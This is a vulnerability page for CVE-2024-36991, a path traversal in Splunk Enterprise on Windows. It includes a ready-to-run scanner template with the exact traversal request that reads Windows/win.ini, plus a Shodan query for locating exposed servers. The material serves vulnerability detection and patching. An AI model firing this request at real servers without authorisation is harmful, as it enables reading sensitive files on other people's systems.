CVE-2024-36991: Splunk Enterprise - Local File Inclusion

2025-08-01 Splunk Enterprise PoC Public

Description

In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.

PoC

id: CVE-2024-36991

info:
  name: Splunk Enterprise - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.
  impact: |
    Attackers can perform path traversal to access sensitive filesystem locations on Splunk Enterprise for Windows.
  remediation: |
    Update Splunk Enterprise to version 9.2.2, 9.1.5, or 9.0.10 or later.
  reference:
    - https://x.com/sheikhrishad0/status/1809210005125746880/photo/1
    - https://x.com/chybeta/status/1809249794122215557/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36991
  classification:
    epss-score: 0.13006
    epss-percentile: 0.96126
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Login | Splunk"
  tags: cve,cve2024,splunk,lfi,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /en-US/login HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Splunk Inc.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4b0a00483046022100ebded773ebce284108273beb513780f3133d0efb449a282fadf1ab053dd1575a0221008252b9238c81d139a1b8cc9cab8449499766a0408374f64ce9fb9be880be29b8:922c64590222798bb761d5b6d8e72950

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